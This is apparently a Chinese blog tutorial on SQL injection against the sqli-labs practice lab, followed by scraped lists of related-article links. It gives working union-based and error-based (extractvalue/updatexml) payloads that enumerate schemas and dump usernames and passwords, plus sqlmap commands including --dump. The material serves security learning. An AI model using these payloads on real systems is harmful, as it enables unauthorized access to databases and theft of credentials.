SQL注入之联合查询、报错注入和sqlmap
文章目录
- SQL注入的方法
- 方法一:联合查询
- 方法二:报错注入
- extractvalue() 函数
- updatexml()函数
- 方法三:Sqlmap
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入的方法
方法一:联合查询
?id=1' order by 3 --+ //查询列数?id=-1' union select 1,2,3 --+ //查看输出列?id=-1' union select 1,(select user()),3 --+ //查询用户名?id=-1' union select 1,(select database()),3 --+ //查询数据库名?id=-1' union select 1,(select table_name from information_schema.tables where table_schema="数据库名" limit 0,1),3--+ //单独爆出表名?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),3--+ //爆出全部表名?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"),3--+ //查询列名,需要限定表名和库名?id=-1' union select 1,(select concat(username,0x3a,password)from 表名 limit 0,1),3 --+ //查询username和password (limit函数)?id=-1' union select 1,(select group_concat(username,0x3a,password)from 表名),3 --+ //一次性全部查询 (group_concat函数)
超过多行时,可以连接(省略limit函数):group_concat()
concat()函数
含义:
将多个字符串连接成一个字符串。
语法:
concat(str1, str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
演示:
select concat (id, name) as info from t1;
mysql> select * from t1;
±------±------+
| id | name |
±------±------+
| 10001 | 沙 |
| 10001 | 石 |
| 10001 | 煤 |
| 10002 | 水 |
| 10002 | 盐 |
| 10002 | 盐 |
| 10002 | 盐2 |
±------±------+
方法二:报错注入
extractvalue() 函数
extractvalue() 函数
对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 < div>< p>< a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用
/xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。https://blog.csdn.net/zpy1998zpy/article/details/80631036 菜鸟教程
?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+ //爆出用户名?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ //爆出数据库名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),0x7e)) --+ //一次性爆出所有表名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="表名"),0x7e)) --+ //爆出所有列名?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password)from 表名 limit 7,1),0x7e)) --+ //爆出id、username和password
updatexml()函数
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法:updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ // 爆出用户名?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="数据库名"),0x7e),1) --+ //爆出所有表名?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema="数据库名" and table_name="表名"),0x7e),1) --+ //爆出users表中所有列名?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from 表名 limit 0,1),0x7e),1) --+ //爆出数据
方法三:Sqlmap
sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" --dbs //查询数据库名sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -D security --tables //查询表名sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users --column //查询列名sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users -C "username,password" --dump //查询数据
SQL注入之联合查询、报错注入和sqlmap相关推荐
- SQL注入 1-3_基于post报错注入
** SQL注入 1-3_基于post报错注入 ** 一.概念 客户端提交参数基于post 1.基于post注入不会拼接到url 2.相对get提交参数更加安全 3.但是依然可以使用代理(中间人)截断 ...
- 01_SQL注入_Mysql注入利用联合查询的手工注入
01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...
- SOL注入——基干联合查询的POST注入(四)
本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...
- 05_SQL注入_功能语句报错注入盲注
05_SQL注入_功能语句&报错回显&盲注 1. SQL 语句和网站功能 1.1 Web开发中常见语句 [本章代码来源于pikachu和sqli-lab中的靶场] 开发中,根据不同的需 ...
- SQL注入——基于联合查询的POST注入
实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...
- SQL注入--基于联合查询的POST注入
实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
- SQLi LABS Less 23 联合注入+报错注入+布尔盲注
第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...
- SQL注入-报错注入
目录 一.报错注入的定义 二.利用报错注入的前提 三.报错注入的优缺点 四.构造报错注入的基本步骤 五.常见的报错注入函数 六.报错注入演示(只演示前三个) 1.利用floor()函数进行报错注入 ( ...
- SQLi LABS Less-11 联合注入+报错注入
第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...
最新文章
- sudo apt-get install 安装软件总是出现“404 NOT FOUND” 错误的解决方案 !
- 能识别nvme的pe启动_【腾讯WeTest干货分享】机器学习在启动耗时测试中的应用及模型调优...
- 让HTML播放器使用指定ua,chimee-mobile-player
- 机器学习流程及详细内容(4)
- 【论文解读--Xdog】(宇树科技鼻祖)新型电驱式四足机器人研制与测试
- 哔哩哔哩 2019秋招编程题---脸滚键盘
- siteserver/sscms 首页新闻排版及代码(二)
- 【学习笔记】网络安全基础知识总结
- 使用LaTeX表示数学方程(附源码)
- python批量读取图片处理并保存
- JVM的年轻代、年老代(老年代)和永生代(持久代)【Loadrunner性能调优】
- 【Spring Cloud Alibaba】Gateway 服务网关
- 数据结构与计算机网络,如何把计算机原理,操作系统,数据结构和计算机网络结合起来...
- 02-关于画布、Artboard(画板)
- 017 连续之一点连续、区间连续;间断之可去间断点、跳跃间断点
- Oracle insert语句慢的背后
- android自定义主题背景颜色,Android 自定义SeekBar 实现分段显示不同背景颜色的示例代码...
- 全图灵第一章:首个Demo项目【游戏类型讨论】
- 编程基础差,还想当程序员?结果......很“受伤”
- 5G到底是个啥玩意儿?
热门文章
- Java的instanceof关键字
- 计算机应用类专业综合,计算机应用类专业综合复习试题(二)(33页)-原创力文档...
- (附源码)计算机毕业设计JavaJava毕设项目桌游店会员管理系统
- 以网页形式展示二叉树
- Windows下Git安装配置教程
- 深度学习中欠拟合解决方案
- 在Visual Studio 2008的MFC项目中,如何设置HotKey
- R语言使用load函数将过往保存的工作空间镜像文件(RData)加载到当前会话、使用q函数关闭当前工作空间(系统会提示是否保存或者取消)
- 计算机房专用空调,通讯机房专用空调及制冷量计算.pdf
- cv.waitKey